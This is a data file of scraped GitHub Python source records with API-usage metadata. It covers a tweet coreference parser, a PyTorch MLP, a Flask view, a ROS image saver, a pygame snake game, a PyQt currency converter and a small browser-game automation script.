"call"}, {"api_name": "requests.request", "line_number": 104, "usage_type": "call"}, {"api_name": "related.to_dict", "line_number": 112, "usage_type": "call"}, {"api_name": "related.immutable", "line_number": 16, "usage_type": "attribute"}, {"api_name": "related.ChildField", "line_number": 136, "usage_type": "call"}, {"api_name": "related.ChildField", "line_number": 137, "usage_type": "call"}, {"api_name": "aiohttp.TCPConnector", "line_number": 137, "usage_type": "argument"}, {"api_name": "related.ChildField", "line_number": 138, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 142, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 147, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 161, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 163, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 199, "usage_type": "call"}, {"api_name": "related.to_dict", "line_number": 216, "usage_type": "call"}, {"api_name": "related.to_dict", "line_number": 228, "usage_type": "call"}, {"api_name": "related.to_dict", "line_number": 237, "usage_type": "call"}, {"api_name": "related.immutable", "line_number": 134, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 262, "usage_type": "attribute"}, {"api_name": "related.to_dict.register", "line_number": 269, "usage_type": "call"}, {"api_name": "related.to_dict", "line_number": 269, "usage_type": "attribute"}]}
{"seq_id": "22510363254", "text": "import pickle\nimport argparse\nimport logging\nimport spacy\nfrom tqdm import tqdm \nimport en_core_web_sm\nimport os\nimport json\nimport re\n\n\nnlp = en_core_web_sm.load()\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s -   %(message)s',\n                    datefmt='%m/%d/%Y %H:%M:%S',\n                    level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\nerror_mentions = 0\n\n\nre_token = re.compile(r'[\\n\\r\\t]')\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--input_file', type=str, required=True, help='The tweets pairs to be parsed to XML files')\n    parser.add_argument('--text_file', type=str, required=True, help='Output txt file')\n    parser.add_argument('--mentions_dir', type=str, required=True, help='mentions json dir')\n    #  parser.add_argument('--topics_file', type=str, required=True, help='topics pickled file')\n    args = parser.parse_args()\n    for arg, value in args._get_kwargs():\n        logger.info('{}:\\t{}'.format(arg, value))\n    parse_to_txt(args.input_file, args.text_file, args.mentions_dir)\n\n\ndef parse_to_txt(input_file, text_file, mentions_dir, rule=None):\n    if not os.path.exists(mentions_dir):\n        os.makedirs(mentions_dir)\n    \n    event_mentions_dir = os.path.join(mentions_dir, 'event_mentions')\n    entity_mentions_dir = os.path.join(mentions_dir, 'entity_mentions')\n    if not os.path.exists(event_mentions_dir):\n        os.makedirs(event_mentions_dir)\n    \n    if not os.path.exists(entity_mentions_dir):\n        os.makedirs(entity_mentions_dir)\n    \n    \n    data = pickle.load(open(input_file, 'rb'))\n    text = []\n    event_mentions = 0\n    entity_mentions = 0\n    print(rule)\n    if rule:\n        for rule_data in data:\n            rule_name = os.path.basename(rule_data['path']).replace('.json', '')\n            if rule_name == rule:\n               data = [rule_data]\n               break\n    logger.info('start running on {} rules'.format(len(data)))\n    \n    for rule_i, rule_data in enumerate(data):\n        rule_name = os.path.basename(rule_data['path']).replace('.pk', '')\n        logger.info('start extracting text from {}, {}/{}'.format(rule_name, rule_i+1, len(data)))\n        rule_text, rule_entity_mentions, rule_event_mentions = parse_rule_tweets(rule_data['data'], rule_name)\n        text.append(rule_text)\n        \n        event_mentions += len(rule_event_mentions)\n        entity_mentions += len(rule_entity_mentions)\n        \n        save_mentions(os.path.join(event_mentions_dir, rule_name), rule_event_mentions)\n        save_mentions(os.path.join(entity_mentions_dir, rule_name), rule_entity_mentions)\n        \n        logger.info('number of events mentions {}'.format(event_mentions))\n        logger.info('number of entities mentions {}'.format(entity_mentions))\n        logger.info('finish extracting text from {}'.format(rule_name))\n        \n    with open(text_file, 'w') as output:\n        output.write('\\n\\n'.join(text))\n        output.close()\n    logger.info('the text saved successfully to {}'.format(text_file))\n\n    merge_mentions(event_mentions_dir, os.path.join(mentions_dir, 'corpus_Event_gold_mentions.json'))\n    merge_mentions(entity_mentions_dir, os.path.join(mentions_dir, 'corpus_Entity_gold_mentions.json'))\n    \n    \n    #  json.dump(entity_mentions, open(os.path.join(mentions_dir, 'corpus_Entity_gold_mentions.json'), 'w'))\n    #  json.dump(event_mentions, open(os.path.join(mentions_dir, 'corpus_Event_gold_mentions.json'), 'w'))\n    #  logger.info('the mentions saved successfully to {}'.format(mentions_dir))\n    logger.info('didn\\'t find mentions for {} mentions'.format(error_mentions))\n\n\ndef save_mentions(path, mentions):\n    with open(path, 'w') as mf:\n        json.dump(mentions, mf)\n    del mentions\n        \n\ndef merge_mentions(mentions_dir, mentions_file):\n    files = [os.path.join(mentions_dir, f) for f in os.listdir(mentions_dir)]\n    mentions = []\n    for mention_file in files:\n        with open(mention_file, 'r') as mf:\n            mentions += json.load(mf)\n    \n    with open(mentions_file, 'w') as mf:\n        json.dump(mentions, mf)\n    \n\ndef parse_rule_tweets(rule_data, rule_name):\n    text = []\n    pair_i = 0\n    entity_mentions = []\n    event_mentions = []\n    rule_name = rule_name.replace('_', '+')\n\n    for tweet_pair in tqdm(rule_data):\n        arg0 = tweet_pair['arg0']\n        arg1 = tweet_pair['arg1']\n        events = tweet_pair['events']\n        t1, t2 = tweet_pair['tweets']\n        #  create arg:coref_chain dict\n        \n        #  26/06/2019 - after looking at clustering results, I found out thaa if in arg0 and arg1 there is the same mentio \n        #  (e.g. man (kill\\shoot, '979100837917073408', '979115303392051201')) the two mentions recieved the arg1 coref chain\n        #  to handle this bug, I added to the key the tweet it related to (0 or 1)\n        #  more changes affected by this bug- in parse_tweet function I added a tweet_i parameter (0\\1) and changed the keys to the part when the mentions are builded \n        \n        '''\n        coref_chain = {a:'{}_{}_0'.format(rule_name, pair_i) for a in arg0}\n        coref_chain.update({a:'{}_{}_1'.format(rule_name, pair_i) for a in arg1})\n        coref_chain.update({e:'{}_{}_event'.format(rule_name, pair_i) for e in events}) \n        '''\n        \n        coref_chain = {a+str(i):'{}_{}_0'.format(rule_name, pair_i) for i, a in enumerate(arg0)}\n        coref_chain.update({a+str(i):'{}_{}_1'.format(rule_name, pair_i) for i, a in enumerate(arg1)})\n        coref_chain.update({e:'{}_{}_event'.format(rule_name, pair_i) for e in events}) \n        \n        try:\n            doc_id1 = '{}_{}{}'.format(t1['id'], pair_i, rule_name)\n            doc_id2 = '{}_{}{}'.format(t2['id'], pair_i, rule_name)\n            text_t1, mention_t1, ev_mention1 = parse_tweet(t1['tokens'], doc_id1, arg0[0], arg1[0], events[0], coref_chain, 0)\n            text_t2, mention_t2, ev_mention2 = parse_tweet(t2['tokens'], doc_id2, arg0[1], arg1[1], events[1], coref_chain, 1)\n            text.append(text_t1)\n            text.append(text_t2)\n            entity_mentions += mention_t1\n            entity_mentions += mention_t2\n            if ev_mention1:\n                event_mentions.append(ev_mention1)\n            if ev_mention2:\n                event_mentions.append(ev_mention2)\n            topic = [doc_id1, doc_id2]\n        except Exception as e:\n            logger.error('problem at pair {} in rule {} because {}'.format(pair_i, rule_name, str(e)))\n        pair_i += 1\n        #  topcs.append(topic)\n        \n    logger.info('extracted text from {} tweet pairs for {}'.format(len(rule_data), rule_name))\n    logger.info('extracted {} entity_mentions for {}'.format(len(entity_mentions), rule_name))\n    logger.info('extracted {} event_mentions for {}'.format(len(event_mentions), rule_name))\n    return '\\n\\n'.join(text), entity_mentions, event_mentions\n\n\ndef parse_tweet(sent_tokens, doc_id, arg0, arg1, event, arg_coref_chain, tweet_i):\n    #  tokenize arg0 and arg1\n    global error_mentions\n    arg0_t = [str(tok) for tok in nlp(arg0)]\n    arg1_t = [str(tok) for tok in nlp(arg1)]\n    event_t = [str(tok) for tok in nlp(event)]\n    text = []\n    entity_mentions = []\n    event_mention = None\n    tweet_i = str(tweet_i)\n    range0 = range1 = range_e = arg0_i = arg1_i = event_i = None\n    #  create mentions set parse text in the format: doc_id\\tsent_id\\ttoken_id\\tcoref\n    \n    \n    for sent_i, sent in enumerate(sent_tokens):\n        lower_sent = [remove_last_point(t) for t in sent]\n\n        if not arg0_i:\n            arg0_i = find_sub_list(arg0_t, lower_sent)\n            if arg0_i:\n                range0 = range(arg0_i[0], arg0_i[1])\n                sent0 = sent_i\n                entity_mentions.append({\"coref_chain\": arg_coref_chain[arg0+tweet_i], \n                                        \"doc_id\": doc_id, \n                                        \"is_continuous\": True, \n                                        \"is_singleton\": False, \n                                        \"mention_type\": \"HUM\", \n                                        \"score\": -1.0, \n                                        \"sent_id\": sent_i+1, \n                                        \"tokens_number\": [r for r in range0], \n                                        \"tokens_str\": ' '.join([t for i, t in enumerate(sent) if i in range0])})\n        \n        \n        if not arg1_i:\n            arg1_i = find_sub_list(arg1_t, lower_sent)\n            if arg1_i:\n                range1 = range(arg1_i[0], arg1_i[1])            \n                sent1 = sent_i\n                entity_mentions.append({\"coref_chain\": arg_coref_chain[arg1+tweet_i], \n                                        \"doc_id\": doc_id, \n                                        \"is_continuous\": True, \n                                        \"is_singleton\": False, \n                                        \"mention_type\": \"HUM\", \n                                        \"score\": -1.0, \n                                        \"sent_id\": sent_i+1, \n                                        \"tokens_number\": [r for r in range1], \n                                        \"tokens_str\": ' '.join([t for i, t in enumerate(sent) if i in range1])})\n                             \n                             \n        if not event_i:\n            event_i = find_sub_list(event_t, lower_sent)\n            if event_i:\n                range_e = range(event_i[0], event_i[1])\n                sent_e = sent_i\n                event_mention = {\"coref_chain\": arg_coref_chain[event],\n                                 \"doc_id\": doc_id,\n                                 \"is_continuous\": True, \n                                 \"is_singleton\": False, \n                                 \"mention_type\": \"ACT\", \n                                 \"score\": -1.0,\n                                 \"sent_id\": sent_i+1, \n                                 \"tokens_number\": [r for r in range_e],\n                                 \"tokens_str\": ' '.join([t for i, t in enumerate(sent) if i in range_e])}\n                \n                \n        for tok_i, token in enumerate(sent):\n            coref_chain = '-'\n            if arg0_i and tok_i in range0 and sent_i == sent0:\n                coref_chain = arg_coref_chain[arg0+tweet_i]\n            elif arg1_i and tok_i in range1 and sent_i == sent1:\n                coref_chain = arg_coref_chain[arg1+tweet_i]\n            elif event_i and tok_i in range_e and sent_i == sent_e:\n                coref_chain = arg_coref_chain[event]\n            text.append('\\t'.join([doc_id, str(sent_i+1), str(tok_i), re_token.sub('', token), coref_chain]))\n    #  TODO: Talk to Gabi how to find the tokens number for example\n    #  sentence = Terror Hits London, Trump Jr. Rips Mayor\n    #  arg0 = london trump jr\n    if len(entity_mentions) != 2:\n        error_mentions += (2 - len(entity_mentions))\n    if not event_mention:\n        error_mentions += 1\n    return '\\n'.join(text), entity_mentions, event_mention\n\n\ndef find_sub_list(sl,l):\n    sll=len(sl)\n    for ind in (i for i,e in enumerate(l) if e==sl[0]):\n        if l[ind:ind+sll]==sl:\n            return ind,ind+sll\n    return None\n\n\ndef remove_last_point(s):\n    r = s.lower()\n    if r.endswith('.'):\n        r = r[::-1].replace('.', '', 1)[::-1]\n        return r\n    return r\n    \n\nif __name__ == '__main__':\n    main()\n", "repo_name": "yehudit96/coreferrability", "sub_path": "coreference/tweet_text.py", "file_name": "tweet_text.py", "file_ext": "py", "file_size_in_byte": 11352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "en_core_web_sm.load", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 22, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 46, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 100, "usage_type": "call"}, {"api_name": "json.load", "line_number": 104, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 107, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 117, "usage_type": "call"}]}
{"seq_id": "3200851881", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass MLP(nn.Module):\n    def __init__(self, num_layers, input_size, hidden_size, output_size):\n        super().__init__()\n        self.linears = nn.ModuleList([nn.Linear(hidden_size, hidden_size) for i in range(num_layers - 2)])\n        self.linears.insert(0, nn.Linear(input_size, hidden_size))\n        self.linears.append(nn.Linear(hidden_size, output_size))\n\n    def forward(self, x):\n        for l in self.linears:\n            x = F.relu(l(x))\n        return x\n", "repo_name": "xyz961014/longterm", "sub_path": "deprecated_CRAN/layers/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 15, "usage_type": "name"}]}
{"seq_id": "10203126450", "text": "from flask import Blueprint, render_template\n\n\nviews = Blueprint(\"views1\",__name__)\n\n@views.route('/')\ndef home():\n    '''\n    render the template for the page home\n    return: the page home with his html structure\n    '''\n    return render_template(\"home.html\")", "repo_name": "juanpablo1013/web_proyect2", "sub_path": "website/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 262, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Blueprint", "line_number": 4, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "31526312468", "text": "#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport sys\nimport rospy\nimport cv2\nimport datetime\nimport numpy as np\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\nclass image_converter:\n\n  def __init__(self):\n    self.bridge = CvBridge()\n    self.image_sub = rospy.Subscriber(\"/image_view_1525979691267834454/output\",Image,self.callback)\n    self.count = 0\n    self.dir = \"./image\"\n\n  def callback(self,data):\n    try:\n        cv_image = self.bridge.imgmsg_to_cv2(data, \"mono8\")\n        '''cv_image = np.array(cv_image, dtype = np.dtype('f8'))\n        for r in cv_image:\n            for p in r:\n                if np.isnan(p):\n                    p = 0\n        cv_image = cv2.normalize(cv_image, cv_image, 0, 1, cv2.NORM_MINMAX)\n        cv_image = np.array(cv_image * 255, dtype=np.dtype(np.int32))\n        '''\n    except CvBridgeError as e:\n        print(e)\n    \n    self.count = self.count + 1\n    cv2.imwrite(\n        self.dir + '/' + str(self.count) + '.jpg', cv_image)\n    \ndef main(args):\n  ic = image_converter()\n  rospy.init_node('image_converter', anonymous=True)\n  try:\n    rospy.spin()\n  except KeyboardInterrupt:\n    print(\"Shutting down\")\n  cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n    main(sys.argv)\n\n", "repo_name": "yuxiang-gao/hopkins_delivers", "sub_path": "hd_msgs/script/cap.py", "file_name": "cap.py", "file_ext": "py", "file_size_in_byte": 1307, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv_bridge.CvBridge", "line_number": 16, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 17, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 17, "usage_type": "argument"}, {"api_name": "cv_bridge.CvBridgeError", "line_number": 32, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 36, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 41, "usage_type": "call"}, {"api_name": "rospy.spin", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 49, "usage_type": "attribute"}]}
{"seq_id": "32295507139", "text": "import pygame\nimport random\n\nCANVAS_WIDTH = 400\nCANVAS_HEIGHT = 400\nSIZE = 20\n\n# if you make this larger, the game will go slower\nDELAY = 0.1\n\ndef main():\n    pygame.init()\n    canvas = pygame.display.set_mode((CANVAS_WIDTH, CANVAS_HEIGHT))\n    pygame.display.set_caption(\"Sk. Salahuddin\")\n\n    player = pygame.Rect(0, 0, SIZE, SIZE)\n    goal = pygame.Rect(360, 360, 20, 20)\n    score = 0\n    font = pygame.font.Font(None, 20)\n\n    movement_direction = [1, 0]\n\n    clock = pygame.time.Clock()\n\n    while True:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                return\n            elif event.type == pygame.KEYDOWN:\n                handle_key_press(event.key, movement_direction)\n            elif event.type == pygame.MOUSEBUTTONDOWN:\n                handle_mouse_click(event.pos, player, movement_direction)\n\n        player.x += SIZE * movement_direction[0]\n        player.y += SIZE * movement_direction[1]\n\n        player_x = player.x\n        player_y = player.y\n\n        if (\n            player_x > CANVAS_WIDTH - SIZE\n            or player_x < 0\n            or player_y > CANVAS_HEIGHT - SIZE\n            or player_y < 0\n        ):\n            game_over(canvas, score)\n            return\n\n        if player.colliderect(goal):\n            hit_goal(goal)\n            score += 1\n\n        canvas.fill((0, 0, 0))\n        pygame.draw.rect(canvas, (0, 0, 255), player)\n        pygame.draw.rect(canvas, (255, 69, 0), goal)\n        score_text = font.render(\"Your points: \" + str(score), True, (255, 255, 255))\n        canvas.blit(score_text, (5, 385))\n\n        pygame.display.flip()\n        clock.tick(10)\n\ndef handle_key_press(key, movement_direction):\n    if key == pygame.K_LEFT:\n        movement_direction[0] = -1\n        movement_direction[1] = 0\n    elif key == pygame.K_RIGHT:\n        movement_direction[0] = 1\n        movement_direction[1] = 0\n    elif key == pygame.K_UP:\n        movement_direction[0] = 0\n        movement_direction[1] = -1\n    elif key == pygame.K_DOWN:\n        movement_direction[0] = 0\n        movement_direction[1] = 1\n\ndef handle_mouse_click(position, player, movement_direction):\n    player.x = position[0] - SIZE // 2\n    player.y = position[1] - SIZE // 2\n    movement_direction[0] = 0\n    movement_direction[1] = 0\n\ndef game_over(canvas, score):\n    font = pygame.font.Font(None, 40)\n    game_over_text = font.render(\"Game Over!\", True, (255, 0, 0))\n    score_text = font.render(\"Your score is: \" + str(score), True, (0, 0, 255))\n    canvas.blit(game_over_text, (100, 170))\n    canvas.blit(score_text, (100, 200))\n    pygame.display.flip()\n    pygame.time.wait(2000)\n\ndef hit_goal(goal):\n    goal.x = random.randrange(0, CANVAS_WIDTH - SIZE + 1, SIZE)\n    goal.y = random.randrange(0, CANVAS_HEIGHT - SIZE + 1, SIZE)\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "sksalahuddin2828/Python", "sub_path": "Baby_Snake_Eater_by_PyGame.py", "file_name": "Baby_Snake_Eater_by_PyGame.py", "file_ext": "py", "file_size_in_byte": 2863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 200, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 60, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 84, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 89, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 90, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 90, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 93, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "6287061914", "text": "import sys\n\nfrom PyQt5 import *\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtWidgets import QMainWindow\n\nfrom model import *\nfrom model.offlineAPI import OfflineAPI\nfrom model.onlineAPI import OnlineAPI\n\nfrom view import view\n\n\nclass Controller(QMainWindow):\n    \"\"\"\n    Controller Klasse die Model und View verknüpft\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n        self.ui = view.Ui_mainWindow()\n        self.ui.setupUi(self)\n        self.ui.umrechnenButton.clicked.connect(self.umrechnen)\n        self.ui.exitButton.clicked.connect(self.exit)\n        self.ui.resetButton.clicked.connect(self.reset)\n        self.ui.liveDatenBox.clicked.connect(self.live)\n        self.strat = OfflineAPI()\n        # self.title = \"Währungsumrechner\"\n        # self.initUI()\n\n    def live(self, checked):\n        \"\"\"\n        Überprüft ob live Daten oder offline Daten verwendet werden sollen\n        :param checked: true wenn live Daten verwendet werden sollen\n        :return: Wenn true, dann wird ein Online Objekt erstellt. wenn false wird ein Offline Objekt erstellt\n        \"\"\"\n\n        if checked:\n            self.strat = OnlineAPI()\n        else:\n            self.strat = OfflineAPI()\n\n    def umrechnen(self):\n        \"\"\"\n        Das ist die Umrechnen Methode\n\n        :return: der neue Wert\n        \"\"\"\n\n        self.setHTML(\n            self.strat.change(self.ui.betragInput.value(), self.ui.waehrungInput.text(), self.ui.zielInput.text()))\n\n        self.ui.statusLabel.setText(\"OK\")\n\n    def exit(self):\n        \"\"\"\n        Eine Alternative um das Fenster zu schließen und das Programm zu beenden\n\n        :return: Die Application wird geschlossen\n        \"\"\"\n\n        QtCore.QCoreApplication.instance().quit()\n\n    def reset(self):\n        \"\"\"\n         Löscht alle Felder\n\n        :return: alle Felder werden gecleared\n        \"\"\"\n\n        self.ui.waehrungInput.setText(\"\")\n        self.ui.zielInput.setText(\"\")\n        self.ui.betragInput.setValue(0.00)\n        self.ui.textBrowser.setText(\"\")\n        self.ui.statusLabel.setText(\"Status:\")\n\n    def setHTML(self, text):\n        \"\"\"\n        Setzt den Text der durch die Berechnung generiert wird in das HTML Fenster\n\n        :param text: der HTML Code der gesetzt wird\n        :return: HTML Text im Fenster\n        \"\"\"\n\n        self.ui.textBrowser.append(text)\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    c = Controller()\n    c.show()\n    # c.refresh()\n    sys.exit(app.exec_())\n", "repo_name": "komar-tgm/CurrencyConverter", "sub_path": "src/main/python/controller/controller.py", "file_name": "controller.py", "file_ext": "py", "file_size_in_byte": 2508, "program_lang": "python", "lang": "de", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 15, "usage_type": "name"}, {"api_name": "view.view.Ui_mainWindow", "line_number": 22, "usage_type": "call"}, {"api_name": "view.view", "line_number": 22, "usage_type": "name"}, {"api_name": "model.offlineAPI.OfflineAPI", "line_number": 28, "usage_type": "call"}, {"api_name": "model.onlineAPI.OnlineAPI", "line_number": 40, "usage_type": "call"}, {"api_name": "model.offlineAPI.OfflineAPI", "line_number": 42, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.instance", "line_number": 63, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 63, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 63, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 90, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 90, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "3810682998", "text": "import sys\nimport os\nimport re\nimport tools\nfrom base import Base\n\nclass Conquest(Base):\n\tdef __init__(self):\n\t\tsuper(Conquest, self).__init__()\n\n\tdef conquest(self, target, count):\n\t\turl = 'https://www.kingsofchaos.com/conquest.php'\n\t\tpayload = {\n\t\t\t'conquest_target': target,\n\t\t\t'hash': '',\n\t\t\t'conquest': 'Go on a conquest against %s!' % target\n\t\t}\n\n\t\tfor i in xrange(count):\n\t\t\tpost = self.session.post(url, data=payload, headers=self.headers)\n\t\t\thtml_source = post.content\n\n\t\t\tm = re.search('.*\\(You have completed this conquest \\d* times\\)', html_source)\n\t\t\tif m:\n\t\t\t\ttools.log('%s: %s' % (target, m.group()))\n\ndef main():\n\tc = Conquest()\n\tc.conquest(target='Wizards', count=1)\n\nif __name__ == \"__main__\":\n\tmain()", "repo_name": "stanwong86/python", "sub_path": "KingsOfChaos/koc/conquest.py", "file_name": "conquest.py", "file_ext": "py", "file_size_in_byte": 719, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "base.Base", "line_number": 7, "usage_type": "name"}, {"api_name": "re.search", "line_number": 23, "usage_type": "call"}, {"api_name": "tools.log", "line_number": 25, "usage_type": "call"}]}
